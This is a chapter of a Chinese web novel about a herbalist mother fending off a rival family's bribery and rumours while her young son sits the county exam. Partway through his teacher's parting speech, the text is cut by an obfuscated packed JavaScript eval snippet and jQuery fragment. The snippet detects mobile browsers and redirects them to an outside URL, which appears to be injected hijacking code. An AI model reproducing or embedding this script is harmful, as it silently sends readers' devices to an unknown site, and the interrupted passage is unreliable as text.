那是四月初八的午后，日光正好，新收的益母草铺满竹筛。一个新来三日的短工蹲在角落里翻晒药材，动作麻利，眼神却时不时往东侧那间挂着锁的小屋飘。
那屋里没有值钱的东西，只有她平日试制新药的废料。
柳清韵收回视线，将一筐薄荷交给周管事。
“东侧那短工，叫什么？”
周管事一愣，顺着她的目光看去：“姓胡，镇上胡屠户的侄子。赵铁匠介绍来的，说是家里困难，急着寻活计。”
“活干得如何？”
“麻利，肯吃苦。”周管事迟疑，“娘子，有问题？”
柳清韵没有立刻回答。
她只是说：“明日调他去前院切药，后院的活，让老张头接手。”
周管事应了。
当日黄昏，陈掌柜亲自登门。
他带来的消息印证了柳清韵的直觉：王家近日通过中间人，在镇上打听“柳氏药坊”雇工情况，开价不低，专寻能接触到“核心物料”的人。
“不止收买短工。”陈掌柜压低声，“市面上有人在传，说柳氏药膏用料不明，用了什么西域奇花，虽见效快，恐有暗毒。传得有鼻子有眼，像是专冲着军供订单去的。”
他顿了顿，从袖中取出一张皱巴巴的纸笺。
“还有这个。回春堂伙计昨夜在铺子后门捡到的，有人塞了银子，想换咱铺子里存的那几批柳氏药膏的药渣。”
柳清韵接过纸笺。
上面没有落款，但她认得那个试图模仿却仍显拘谨的字迹——
王娇娇的乳母李妈妈，曾在破屋前指着她的鼻子，骂她是“不下蛋的母鸡”。
她将纸笺折好，收入袖中。
“陈掌柜，”她问，“依您看，王家这步棋，意在何处？”
陈掌柜沉吟良久。
“其一，坏娘子名声。柳氏药坊若背上‘用料不明’‘恐有暗毒’的嫌疑，军供订单未必能稳。”他一根根扳手指，“其二，窃方。王家的药材生意近年被周家压得喘不过气，若能拿到柳氏药膏的方子，哪怕仿个七八成，也是翻身本钱。”
他顿了顿，抬眼看向柳清韵。
“其三，私怨。娘子如今风光，王家的女婿却成了全镇的笑柄。王员外那个独女，据说日日在家摔碗砸盏……”
柳清韵听着，神色平静。
待他说完，她才开口：“还有第四。”
陈掌柜一愣。
“王家要的不仅是毁我、窃我，更是要让我‘自证’。”柳清韵说，“一旦我忙着辟谣、忙着解释、忙着跟人对质药方真假，就必然分心。再过七日，文渊就要进考场了。”
陈掌柜心头一震。
他这才想起，童生试在即。那个沉默寡言、却在县学入学考中一举夺目的苏文渊，七日后将踏入全县最关键的考场。
王家选的这个时机——
“他们是故意的。”他低声道。
柳清韵没有接话。
她只是望着窗外渐沉的暮色，许久，轻轻笑了一下。
那笑意很淡，没有愤怒，没有慌张，甚至没有嘲讽。
只是了然。
“知道了。”她说，“劳烦掌柜再替我留意一事。”
“娘子请讲。”
“王家贿赂回春堂伙计未成，那人证，可愿出面作证？”
陈掌柜眼睛一亮。
“伙计姓曹，十八岁，是陈某远房侄孙。昨夜他拒了银钱，今早便将那包银子和纸笺一并交给了我。”
“好。”柳清韵说，“请曹小哥将东西收好。用的时候，我会知会掌柜。”
陈掌柜走后，柳清韵在堂中静坐了片刻。
文渊的房里亮着灯。从窗缝望去，能看见他伏案的背影，肩线绷得笔直，正对着摊开的经义逐字默诵。
武毅蹲在院门口，手里攥着根木棍，不时警觉地往巷口张望。
这孩子不知道发生了什么事，但他知道娘让他这几日寸步不离跟着哥哥——那就够了。
柳清韵起身，去灶房温了一碗牛乳，加一匙蜂蜜，端进西厢。
“娘？”文渊搁笔，接过碗。
“明日方先生要来给你过最后一遍策问题，后日你歇一日，大后日进考场。”柳清韵在他对面坐下，“这几天，外面无论传出什么闲话，你都不要理会。”
文渊捧着碗，抬眼看她。
“王家的事？”他问。
柳清韵没有惊讶。这孩子敏锐，镇上风言风语，他不可能毫无所觉。
“娘能应付。”她说，“你只管把这场试考好。”
文渊沉默片刻。
“娘，”他说，“儿有一事，想了好几日。”
“说。”
“儿知道，童生试对儿很重要，对咱们家也很重要。”他顿了顿，“但儿在想，若儿没有考中案首，只考了个寻常名次，娘会不会……失望？”
柳清韵看着他。
这孩子九岁，已在忧虑是否对得起母亲的期望。
她伸出手，轻轻按在他发顶。
“文渊，”她说，“娘从你八岁那年开始，送你去方先生家读书，不是为了让你一定要考第一。”
文渊怔住。
“娘是让你长出一双翅膀来。”柳清韵说，“这翅膀是用来飞的。飞得高，看得远，能带你自己去想去的地方。至于那个地方是案首，是进士，还是别的什么——”
她收回手。
“那是你自己要选的路。”
文渊垂下眼，久久不语。
牛乳的热气在他脸前氤氲，模糊了那双过早学会沉稳的眼睛。
“儿记住了。”他轻声说。
那夜，文渊的灯熄得比往日早。
柳清韵独坐在自己房中，沉入空间。
泉池如镜，映着灰雾之上不知来处的微光。药垄整齐，人参静立，甘松与宁神花簇拥成云。
她在那株赤脉剑形草前蹲下。
叶脉赤红如血，在空间灵气的浸润中微微起伏，像活物的呼吸。
她伸出手，轻轻触碰一片叶。
“你也在等。”她低语。
叶片轻轻颤了一下，似回应。
她退出空间，睁眼。
窗外月色清明。
七日。
她要在七日内，既护住文渊的考场清净，又接住王家的所有暗箭，并将这些箭一支不落，原路奉还。
她想她知道该怎么做了。
四月初九，方先生最后一次登门。
老先生腿脚不便，是文渊去接的。柳清韵备了茶，是寻常的粗叶，但老先生喝得慢，像在品什么珍茗。
“策问题，”方先生放下茶盏，“老夫再压一次。”
文渊正襟危坐。
“不压题。”方先生说，“压心。”
他看向这个跟了自己一年的孩子。九岁，初来时连《论语》都背不全，如今四书已通，五经涉猎过半，更难得的是那份能将书上的道理化进日常的悟性。
“你母亲教你的那些，”方先生说，“水利、算学、医理、农桑，不是杂学，是你的刀。”
他从袖中取出一册薄薄的手札。
“老夫考了三次举人，三次落第，最后一次下场时，已三十二岁。”他的声音很平，像在说别人的事，“那篇策问，老夫自认写得极好。引经据典，文辞华美，通篇没有一处不合法度。”
他顿了顿。
“放榜后，老夫托人看了落卷。考官的批语只有八个字——”
“‘纸上空谈，不知民瘼’。”
文渊怔住。
“那之后，老夫不再赴考。”方先生将手札推到他面前，“这二十年，老夫教了三十七个学生。你是头一个，让老夫觉得当年落第，不冤
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17313320|198903||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。”
文渊低头，翻开那册手札。
里面不是经义，不是时文，是一页一页，密密麻麻抄录的本县近十年水旱灾情、钱粮赋税、人口增减。
每一页边角，都有先生褪色的批注。
“先生……”他喉头发哽。
“老夫没法教你考场上的路。”方先生说，“但老夫可以告诉你，考场上最怕的不是答不出，是答得太像‘答案’。”
他起身，拄着杖，没有让文渊送。
走到门口，他忽然回头。
“苏文渊，你的刀已经磨好了。”
“下场的时候，记得它是刀，不是摆设。”
四月初十，文渊闭门一日。
不是温书，是睡觉。
柳清韵不许他在考前耗尽精神。这孩子自启蒙以来，从未睡过午觉，这日被母亲按在榻上，硬是睡了一个时辰。
醒来时，武毅蹲在门槛边，正用木棍在地上画字。
“哥哥，”他头也不抬，“娘说，明日你进考场，我送你去。”
“你呢？”文渊问，“你不是要去药坊工地？”
武毅把“柳”字的最后一笔用力刻进泥土。
“工地日日都能去。哥哥考案首，这辈子可能就这一次。”
文渊想说什么，却发现自己说不出来。
他只是伸手，揉了揉弟弟乱蓬蓬的发顶。
四月十一，童生试首日。
天未亮，柳家院中已灯火通明。
柳清韵没有多话，只是将一只素色香囊系在文渊衣带内侧。香囊只有拇指大小，针脚细密，内填干花药草，幽香极淡，不凑近闻不见。
“提神醒脑。”她说，“若遇难题，深吸三口。”
文渊点头，没有问这是什么花。
他认得的——那夜母亲在灯下亲手缝制，用的是后院那丛她从不让外人触碰的淡蓝小花。
武毅背起文渊的书篮，神情肃穆，像扛着一杆枪。
“娘，我送哥哥去考场了。”
“去吧。”
母子三人站在院门口。
刘婶抱着婉宁，也在门槛边张望。婉宁刚满一岁，已会说几个简单的词，此刻伸着手，咿呀地喊：“哥、哥——”
文渊回身，对妹妹笑了一下。
然后他走向晨雾未散的巷口，没有回头。
清河县童生试，三年两科，是本县读书人最重要的门槛。
考棚设在县学东侧的贡院街，寅时刚过，已排起长龙。二百一十三名考生，年龄从九岁到四十二岁不等，此刻都在寒风中静静等候。
武毅将书篮递给文渊，低声道：“哥哥，我就在街口老槐树下等你。你什么时候出来，我什么时候在。”
文渊点头。
他没有说“不用等”，也没有说“你先回去”。
他只是在踏入考棚大门前，回头看了弟弟一眼。
武毅挺直腰板，像个小将军。
文渊笑了一下，转身，走进那片灯火通明的号舍。
贡院，东考棚，地字七号。
文渊在号舍中坐定，将笔墨、清水、干粮一一摆好。身旁考生有的还在默诵四书，有的紧张得手抖，墨汁溅了满案。
他深吸一口气。
香囊里传来极淡的幽香，像母亲药圃中那丛宁神花的气息。
他的心跳渐渐平稳。
卯正，封门。考题纸卷分发。
文渊展开卷首，目光落在策问题目上——
“论民富与国强。”
他的手指微微一顿。
不是冷僻题，也不算简单题。这是历届科举最常见的母题之一，正是这种常见题，最难写出新意。
他闭了闭眼，脑海中浮起方先生那句话：
“你的刀已经磨好了。记得它是刀，不是摆设。”
他睁开眼，提笔。